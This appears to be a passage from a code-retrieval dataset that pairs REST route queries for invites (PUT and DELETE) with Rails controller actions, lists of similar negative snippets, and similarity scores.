end", "def create\n logger.info('~log_invite: ' + invite_params.to_s)\n logger.info('~log_invite: ' + invite_params['reciever'])\n @invite = Invite.new(invite_params)\n @invite.sender = current_user.email\n @invite.accepted = false\n\n # check if target exists?\n invite_old = Invite.find_by(sender: current_user.email, reciever: invite_params['reciever'])\n invite_back = Invite.find_by(reciever: current_user.email, sender: invite_params['reciever'])\n\n logger.info('~log_no_old: ' + invite_old.nil?.to_s)\n logger.info('~log_no_back: ' + invite_back.nil?.to_s)\n\n ok = true\n\n ok = @invite.save if invite_old.nil?\n\n unless invite_back.nil?\n invite_back.accepted = true\n ok = (invite_back.save && ok)\n if invite_old.nil?\n @invite.accepted = true\n ok = (@invite.save && ok)\n else\n invite_old.accepted = true\n ok = (invite_old.save && ok)\n end\n end\n\n respond_to do |format|\n if ok\n format.html # { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render :show, status: :created, location: @invite }\n else\n format.html { render :new }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @maintain_invite_user = Maintain::InviteUser.new(params[:maintain_invite_user])\n\n respond_to do |format|\n if @maintain_invite_user.save\n format.html { redirect_to @maintain_invite_user, notice: 'Invite user was successfully created.' }\n format.json { render json: @maintain_invite_user, status: :created, location: @maintain_invite_user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @maintain_invite_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def invite(invitation)\n client.post(\"workspaces/#{@id}/invite\", invitation: invitation) if persisted?\n end", "def create\n count = Member.mass_invite!(params[\"MassInvite\"][\"emails\"])\n respond_to do |format|\n format.html { redirect_to new_member_path, notice: \"Yaay! Totalt #{count} invitasjoner ble sendt.\" }\n end\n end", "def invite_params\n params.require(:invite).permit(:sender_id, :receiver_id, :token, :email, :list_id)\n end", "def invite_detail\n service_response = AdminManagement::AdminUser::GetInviteDetail.new(params).perform\n render_api_response(service_response)\n end", "def invite_params\n params.require(:invite).permit(:request_id, :state, :to_id, :user_id)\n end", "def invite_resource\n resource_class.invite!(invite_params, current_inviter) do |invitable|\n invitable.company_id = current_user.company_id\n invitable.is_admin = true\n invitable.require_email = true\n invitable.save\n end\n end", "def create\n @member=current_member\n @invitation=Invitation.new(params[:invitation])\n \n \n respond_to do |format|\n if @invitation.save\n @myevent.invitations << @invitation\n \n format.html { redirect_to event_invitations_path, :notice => 'Invitation was successfully sent to your friends email address.' }\n format.json { render :json => @invitation, :status => :created, :location => @invitation }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @invitation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def resend_invite\n service_response = AdminManagement::AdminUser::Invite::Resend.new(params).perform\n render_api_response(service_response)\n end", "def invite_params\n params.require(:invite).permit(:event_id, :user_id, :attendee_status)\n end" ]
[ "0.69836557", "0.68339646", "0.6658787", "0.6656012", "0.66232026", "0.6613374", "0.6608064", "0.66002876", "0.66002876", "0.66002876", "0.6584541", "0.6574404", "0.65533906", "0.65394384", "0.650337", "0.6476115", "0.6453246", "0.64286774", "0.64260733", "0.642091", "0.642091", "0.642091", "0.642091", "0.642091", "0.63671297", "0.6337167", "0.6262155", "0.6261618", "0.6207758", "0.6122185", "0.61010754", "0.6099835", "0.6088552", "0.6074103", "0.6058778", "0.60521543", "0.6007471", "0.60062826", "0.6003534", "0.60006464", "0.5987636", "0.59729004", "0.59719557", "0.5961842", "0.595291", "0.5951041", "0.5939673", "0.5938313", "0.59373266", "0.59134513", "0.59065086", "0.59049755", "0.58976775", "0.5895141", "0.58943355", "0.5884005", "0.58760923", "0.5866534", "0.5862303", "0.5852942", "0.58515567", "0.58337784", "0.58319014", "0.5831486", "0.58302784", "0.58183354", "0.58145046", "0.5812462", "0.5799118", "0.5785951", "0.576989", "0.57686573", "0.57674176", "0.57595503", "0.57541853", "0.5752202", "0.5744584", "0.5744584", "0.5744413", "0.5718445", "0.5718445", "0.5718445", "0.57125324", "0.5705119", "0.5703066", "0.5686547", "0.56797653", "0.5661862", "0.5640353", "0.5629936", "0.56246674", "0.56200206", "0.56152767", "0.5606242", "0.5604605", "0.5595404", "0.55949914", "0.55664444", "0.55613106", "0.55602586", "0.555918" ]
0.0
-1
PUT /invites/1 PUT /invites/1.json
def update @invite = Invite.find(params[:id]) respond_to do |format| if @invite.update_attributes(params[:invite]) format.html { redirect_to @invite, notice: 'Invite was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @invite.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end", "def update\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n if @invite.update_attributes(params[:invite])\n format.html { redirect_to @invite, notice: (t 'invite.update') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n if @invite.update_attributes(invite_params)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n if @invite.update_attributes(params[:invite])\n flash[:notice] = 'Invite was successfully updated.'\n format.html { redirect_to(@invite) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invite.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_invited\n @invited = Invited.find(params[:id])\n end", "def update\n respond_to do |format|\n if @invited.update(invited_params)\n format.html { redirect_to @invited, notice: 'Invited was successfully updated.' }\n format.json { render :show, status: :ok, location: @invited }\n else\n format.html { render :edit }\n format.json { render json: @invited.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n @invite = Invite.find(params[:id])\n end", "def update\n @users = User.all\n respond_to do |format|\n if @event.update(event_params.except(:invites))\n\n event_params.slice(:invites).values.each do |x|\n x.each do |y|\n if y.empty?\n else\n user = @users.find(y.to_i)\n @event.attendees << user\n end\n end\n end\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @invite.update(invite_params)\n format.html { redirect_to event_invites_url, notice: 'Invite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @invitations = args[:invitations] if args.key?(:invitations)\n end", "def update\n respond_to do |format|\n if @invite.update(invite_params)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { render :show, status: :ok, location: @invite }\n else\n format.html { render :edit }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @invite.update(invite_params)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { render :show, status: :ok, location: @invite }\n else\n format.html { render :edit }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @invite.update(invite_params)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { render :show, status: :ok, location: @invite }\n else\n format.html { render :edit }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @invite.update(invite_params)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { render :show, status: :ok, location: @invite }\n else\n format.html { render :edit }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @inv.update(inv_params)\n format.html { redirect_to @inv, notice: 'Inv was successfully updated.' }\n format.json { render :show, status: :ok, location: @inv }\n else\n format.html { render :edit }\n format.json { render json: @inv.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @invite.update(invite_params)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @invite.update(invite_params)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @invite_status = InviteStatus.find(params[:id])\n\n respond_to do |format|\n if @invite_status.update_attributes(params[:invite_status])\n format.html { redirect_to @invite_status, notice: 'Invite status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invite_status.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_invite\n @invite = Invite.find(params[:id])\n end", "def set_invite\n @invite = Invite.find(params[:id])\n end", "def set_invite\n @invite = Invite.find(params[:id])\n end", "def set_invite\n @invite = Invite.find(params[:id])\n end", "def update_invitations\n # user: nil is here to make sure invitations are linked only once\n invitations << Invitation.where(token: invitation_token, user: nil)\n end", "def set_invite\n @invite = Invite.find(params[:id])\n end", "def set_invite\n @invite = Invite.find(params[:id])\n end", "def set_invite\n @invite = Invite.find(params[:id])\n end", "def set_invite\n @invite = Invite.find(params[:id])\n end", "def set_invite\n @invite = Invite.find(params[:id])\n end", "def set_invite\n @invite = Invite.find(params[:id])\n end", "def update\n @invitee = Invitee.find(params[:id])\n\n respond_to do |format|\n if @invitee.update_attributes(params[:invitee])\n flash[:notice] = 'Invitee was successfully updated.'\n format.html { redirect_to(@invitee) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invitee.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @invitado = Invitado.find(params[:id])\n\n respond_to do |format|\n if @invitado.update_attributes(params[:invitado])\n format.html { redirect_to(@invitado, :notice => 'Invitado was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invitado.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @invite_list = InviteList.find(params[:id])\n\n respond_to do |format|\n if @invite_list.update_attributes(params[:invite_list])\n format.html { redirect_to @invite_list, notice: 'Invite list was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invite_list.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @invitation = Invitation.with_token!(params[:id])\n\n authorize! @invitation\n\n @invitation.update_attributes(invitation_params)\n\n head 204\n end", "def update\n begin\n @collection = Collection.find(params[:id])\n if params[:collection][:invite_only] && params[:invitations]\n @collection.invited_user_ids = params[:invitations][:user_ids] \n end\n @collection.assign_attributes(params[:collection])\n\n @collection.transaction do\n @collection.save!\n end\n\n render \"show\", handlers: [:rabl]\n \n rescue ActiveRecord::RecordInvalid => invalid\n render :json => @collection.errors.full_messages, status: 422\n end\n end", "def index\n @invites = current_user.invites\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n session[:new_invite_error] = nil\n session[:new_invite_error_url] = nil\n end", "def invite\n @invite = Invite.new\n @invite.invited_id = params[:invited_id]\n @invite.dinner_id = params[:id]\n if @invite.valid?\n @invite.save\n render json: @invite\n else\n puts @invite.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @invite.errors.messages\n }\n end\n end", "def update\n @invite_request = InviteRequest.find(params[:id])\n\n respond_to do |format|\n if @invite_request.update_attributes(params[:invite_request])\n flash[:notice] = 'InviteRequest was successfully updated.'\n format.html { redirect_to(@invite_request) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invite_request.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_inv\n @inv = Inv.find(params[:id])\n end", "def update\n @gift = Gift.find(params[:id])\n\t@invitations = current_host.invitations\n\t@invite_hash = {}\n @invitations.each do |i| \n\t\t@invite_hash[\"#{i.party.name} | #{i.guest.name}\"] = i.id\n\tend\n\n respond_to do |format|\n if @gift.update_attributes(params[:gift])\n format.html { redirect_to(@gift, :notice => 'Gift was successfully updated.') }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "def set_invite\n if params[:id]\n @invite = Invite.find(params[:id])\n else\n @invite = Invite.find_by_url(params[:path])\n end\n end", "def test_should_create_invite_via_API_JSON\r\n get \"/logout\"\r\n post \"/invites.json\", :api_key => 'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response :created\r\n invite = JSON.parse(response.body)\r\n check_new_invite(invite) \r\n end", "def set_invupdate\n @invupdate = Invupdate.find(params[:id])\n end", "def set_invite_request\n @invite_request = InviteRequest.find(params[:id])\n end", "def update!(**args)\n @invitations = args[:invitations] if args.key?(:invitations)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def invites\n raise 'Tried to request invites from a non-server channel' unless server\n\n invites = JSON.parse(API::Channel.invites(@bot.token, @id))\n invites.map { |invite_data| Invite.new(invite_data, @bot) }\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def invite_resource\n resource_class.invite!(invite_params, current_inviter) do |invitable|\n invitable.company_id = current_user.company_id\n invitable.is_admin = true\n invitable.require_email = true\n invitable.save\n end\n end", "def update\n @invitation = Invitation.find(params[:id])\n @invitation.update_attributes(params[:invitation])\n respond_with(@invitation)\n end", "def associate_invites\n Invitation.where_email_matches(email)\n .where(invitee: nil)\n .update_all(invitee_id: id)\n end", "def update\n @invoiceline = Invoiceline.find(params[:id])\n\n respond_to do |format|\n if @invoiceline.update_attributes(params[:invoiceline])\n format.html { redirect_to(@invoiceline, :notice => 'Invoiceline was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invoiceline.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @maintain_invite_user = Maintain::InviteUser.find(params[:id])\n\n respond_to do |format|\n if @maintain_invite_user.update_attributes(params[:maintain_invite_user])\n format.html { redirect_to @maintain_invite_user, notice: 'Invite user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @maintain_invite_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @invitee = Invitee.find(params[:id])\n\n respond_to do |format|\n if @invitee.update_attributes(params[:invitee])\n format.html { redirect_to invitees_url, notice: 'Invitee was successfully updated.' }\n format.json { head :ok }\n\t\t\t\tformat.js\n else\n @age = Age.all\n @gender = Gender.all\n @status = Status.all\n @couple = Couple.all\n\t\t\t\t@hosts = InviteeHost.all\n @inviteegroup = InviteeGroup.where(:user_account_id => current_user.user_account.id)\n \n \n format.html { render action: \"edit\"}\n format.json { render json: @invitee.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js\n end\n end\n end", "def set_invstatus\n @invstatus = Invstatus.find(params[:id])\n end", "def update\n @invitations = Invitation.where(:specification_id => session[:specification_sel_id]).all\n \n @act.update(act_params)\n @act.docencia = params[\"doc\"]\n @act.investigacion = params[\"inv\"]\n @act.extension = params[\"ext\"]\n @act.apoyo = params[\"apoyoA\"]\n @act.responsable = @act.responsable.upcase\n @act.justificacion = @act.justificacion.upcase\n @act.providencia = @act.providencia.upcase\n respond_to do |format|\n if @act.save\n format.html { redirect_to @act, notice: 'Act was successfully updated.' }\n format.json { render :show, status: :ok, location: @act }\n else\n format.html { render :edit }\n format.json { render json: @act.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_invitee\n @invitee = Invitee.find(params[:id])\n end", "def invite\n invitation_service.invite(invitation_params)\n end", "def accept!()\n self.status = Invite::Status::ACCEPTED\n invitable.add_member invitee\n save!\n end", "def update\n @invitacione = Invitacione.find(params[:id])\n\n respond_to do |format|\n if @invitacione.update_attributes(params[:invitacione])\n format.html { redirect_to @invitacione, :notice => 'Invitacione was successfully updated.' }\n\n else\n format.html { render :action => \"edit\" }\n\n end\n end\n end", "def test_should_create_invite_via_API_XML\r\n get \"/logout\"\r\n post \"/invites.xml\", :api_key=>'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response :created\r\n end", "def update\n respond_to do |format|\n if @invitee.update(invitee_params)\n format.html { redirect_to @invitee, notice: 'Invitee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invitee.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_invitee\n @invitee = Invitee.find(params[:id])\n end", "def set_invitee\n @invitee = Invitee.find(params[:id])\n end", "def update\n inviter_mail = resource_params.delete \"invitermail\"\n \n accepted_inviter = resource_class.to_adapter.find_first(email: inviter_mail)\n \n # before inviting person gets credit for the new user: check if he is\n # really allowed to claim. Only certain vip users are allowed...\n if accepted_inviter && accepted_inviter.ability.can?(:invite, resource_class)\n self.resource = resource_class.accept_invitation!(resource_params) \n resource.invited_by = accepted_inviter\n else\n ## No discussion. User didn't have the right to invite, so show...\n flash[:error] = I18n.t(\"devise.invitations.no_authorized_inviter\")\n raise CanCan::AccessDenied\n end\n\n if resource.errors.empty?\n flash_message = resource.active_for_authentication? ? :updated : :updated_not_active \n set_flash_message :notice, flash_message\n sign_in(resource_name, resource)\n respond_with resource, :location => after_accept_path_for(resource)\n else\n respond_with_navigational(resource){ render :edit }\n end\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update\n respond_to do |format|\n if @invite_request.update(invite_request_params)\n format.html { redirect_to @invite_request, notice: 'Invite request was successfully updated.' }\n format.json { render :show, status: :ok, location: @invite_request }\n else\n format.html { render :edit }\n format.json { render json: @invite_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n @invoice_item.update(@invoice_item)\n respond_with(@invoice)\n \n end", "def update\n respond_to do |format|\n if @invstatus.update(invstatus_params)\n format.html { redirect_to @invstatus, notice: 'Invstatus was successfully updated.' }\n format.json { render :show, status: :ok, location: @invstatus }\n else\n format.html { render :edit }\n format.json { render json: @invstatus.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @invites = Invite.all\n end", "def update\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to @invitation, :notice => 'Invitation was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @invitation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\t\tif current_invite.present?\n\t\t\treset_session\n\t\t\tsession[:invite_id] = current_invite.id\n\t\t\tredirect_to invite_path(current_invite.id)\n\t\telse\n\t\t\treset_session\n\t\t\tredirect_to root_path\n\t\tend\n\tend", "def update\n ActiveRecord::Base.transaction do\n @invitee = @invitation.invitee\n accepted_invitees = @meeting.invitations.count { |invitation| invitation.response == \"Accepted\"}\n if @invitee==current_user && @meeting.max_size>= accepted_invitees\n if @invitation.update_attributes(invitation_update_params)\n return json_response(@invitation, :updated)\n end\n end\n end\n head :no_content\n end", "def update\n @identity = Identity.find(params[:id])\n\n if @identity.update(identity_params)\n head :no_content\n else\n render json: @identity.errors, status: :unprocessable_entity\n end\n end", "def put(*args)\n request :put, *args\n end", "def update\n @invest = Invest.find(params[:id])\n\n respond_to do |format|\n if @invest.update_attributes(params[:invest])\n format.html { redirect_to(@invest, :notice => 'Invest was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invest.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit\n @invite_user = User.where(:invite_token => params[:id], :status => \"invitee\").first\n @role = @invite_user.roles.first\n @inviter = User.where(:id => @role.invite_user_id).first\n @course = @role.course\n @user = User.new(params[:user])\n store_location\n end", "def create\n @invite = @event.invites.new(invite_params)\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to [@event, @invite], notice: 'Invite was successfully created.' }\n format.json { render action: 'show', status: :created, location: [@event, @invite] }\n else\n format.html { render action: 'new' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @invite.proces(confirmed_params, current_user)\n format.html { redirect_to @invite, notice: 'Invite was successfully updated.' }\n format.json { render :show, status: :ok, location: @invite }\n else\n format.html { render :edit }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_with Expense.update(params[:id], expense_params), status: 204\n end", "def update\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to @invitation, notice: 'Invitation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invitation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to @invitation, notice: 'Invitation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invitation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to @invitation, notice: 'Invitation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invitation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @invitation = Invitation.find(params[:id])\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to @invitation, flash: { success: 'Invitation was successfully updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invitation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @invite = Invite.new(params[:invite])\n @invite.user_id = current_user.id\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render json: @invite, status: :created, location: @invite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @inven.update(inven_params)\n format.html { redirect_to @inven, notice: 'Inven was successfully updated.' }\n format.json { render :show, status: :ok, location: @inven }\n else\n format.html { render :edit }\n format.json { render json: @inven.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_invites\n @rescue_action = RescueAction.find(params[:rescue_action_id])\n end", "def index\n @inviteds = Invited.all\n end", "def organization_invite\n params['host'] = Ind.http_api\n params['api_key'] = Accounts.new.find_by_email(params['email']).api_key\n\n org_res = Organizations.new.list(params).orgs\n\n org_res[0][:related_orgs] << params['org_id']\n org_res[0][:api_key] = params['api_key']\n org_res[0][:email] = params['email']\n org_res[0][:host] = Ind.http_api\n\n res = Organizations.new.update(org_res[0])\n redirect_to root_url\n end", "def update\n @inv_type = InvType.find(params[:id])\n @inv_type.updated_id = current_user.id\n\n respond_to do |format|\n if @inv_type.update_attributes(params[:inv_type])\n format.html { redirect_to(@inv_type, :notice => 'Inv type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inv_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def invitations\n @invitations = Invitation.pending_by_user(current_user.id)\n\n respond_to do |format|\n format.html\n end\n end", "def invite\n \n end", "def update\n @invitation = @event.invitations.find(params[:id])\n if @invitation.key != params[:invitation][:key]\n redirect_to friendly_page_url(@page)\n return\n end\n\n respond_to do |format|\n if @invitation.update_attributes(params[:invitation])\n format.html { redirect_to(\n friendly_page_url(@page, :invitation_key => @invitation.key),\n :notice => 'Invitation was successfully updated.') }\n format.xml { head :ok }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invitation.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.67971087", "0.6618287", "0.65161586", "0.6390445", "0.6334604", "0.63328683", "0.63240236", "0.631525", "0.62761694", "0.62655914", "0.6194846", "0.6194846", "0.6194846", "0.6194846", "0.61786485", "0.61532885", "0.61532885", "0.6117154", "0.6110349", "0.6110349", "0.6110349", "0.6110349", "0.60948724", "0.60628486", "0.60628486", "0.60628486", "0.60628486", "0.60628486", "0.60628486", "0.6013557", "0.5976493", "0.596799", "0.59666824", "0.59580266", "0.5947339", "0.5945873", "0.59457487", "0.5924779", "0.5918517", "0.59074265", "0.5884171", "0.5870903", "0.5862864", "0.5861959", "0.5850286", "0.58392733", "0.58392733", "0.58392733", "0.58392733", "0.58392733", "0.5826296", "0.5826296", "0.5826296", "0.58225065", "0.5815078", "0.5807212", "0.57903624", "0.57874554", "0.5766537", "0.57573634", "0.5742092", "0.5738314", "0.5721957", "0.5709049", "0.57023144", "0.56946754", "0.56916386", "0.567708", "0.567694", "0.5668064", "0.565985", "0.5655359", "0.56439054", "0.56331015", "0.56182975", "0.560607", "0.5597904", "0.5597317", "0.5580671", "0.5580335", "0.5575383", "0.55626017", "0.5561056", "0.55562985", "0.5543998", "0.5536757", "0.5536757", "0.5536757", "0.5532781", "0.5530269", "0.5520632", "0.5516149", "0.5513832", "0.5499166", "0.5496683", "0.5488158", "0.54869616", "0.5482893" ]
0.6579294
4
DELETE /invites/1 DELETE /invites/1.json
def destroy @invite = Invite.find(params[:id]) @invite.destroy respond_to do |format| format.html { redirect_to invites_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @invite = Invite.find(params[:id])\n @invite.destroy\n\n respond_to do |format|\n format.html { redirect_to(invites_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @invite.destroy\n respond_to do |format|\n format.html { redirect_to invites_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invite.destroy\n respond_to do |format|\n format.html { redirect_to invites_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invite_status = InviteStatus.find(params[:id])\n @invite_status.destroy\n\n respond_to do |format|\n format.html { redirect_to invite_statuses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invite.destroy\n respond_to do |format|\n format.html { redirect_to invites_url, notice: 'Invite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invite.destroy\n respond_to do |format|\n format.html { redirect_to invites_url, notice: 'Invite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invite.destroy\n respond_to do |format|\n format.html { redirect_to invites_url, notice: 'Invite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invite.destroy\n respond_to do |format|\n format.html { redirect_to invites_url, notice: 'Invite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\tredirect_to guild_invites_url, :alert => \"Already used\" and return unless @guild.invites.find(params[:id]).state == \"waiting\"\n\t\t@guild.invites.destroy(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to guild_invites_url, notice: 'Invite was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def remove_invite\n @invited = Dinner.find(params[:id]).invites.find_by(invited_id: params[:user_id])\n @invited.delete\n render json: { message: 'user uninvited' }\n end", "def destroy\n @invite.destroy\n respond_to do |format|\n format.html { redirect_to event_invites_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @list_invite.destroy\n respond_to do |format|\n format.html { redirect_to list_invites_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invite_request = InviteRequest.find(params[:id])\n @invite_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(invite_requests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @invited.destroy\n respond_to do |format|\n format.html { redirect_to inviteds_url, notice: 'Invited was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invite_list = InviteList.find(params[:id])\n @invite_list.destroy\n\n respond_to do |format|\n format.html { redirect_to invite_lists_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitee = Invitee.find(params[:id])\n @invitee.destroy\n\n respond_to do |format|\n format.html { redirect_to(invitees_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @invitee.destroy\n respond_to do |format|\n format.html { redirect_to invitees_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inv.destroy\n respond_to do |format|\n format.html { redirect_to invs_url, notice: 'Inv was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @maintain_invite_user = Maintain::InviteUser.find(params[:id])\n @maintain_invite_user.destroy\n\n respond_to do |format|\n format.html { redirect_to maintain_invite_users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inven.destroy\n respond_to do |format|\n format.html { redirect_to invens_url, notice: 'Inven was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation = 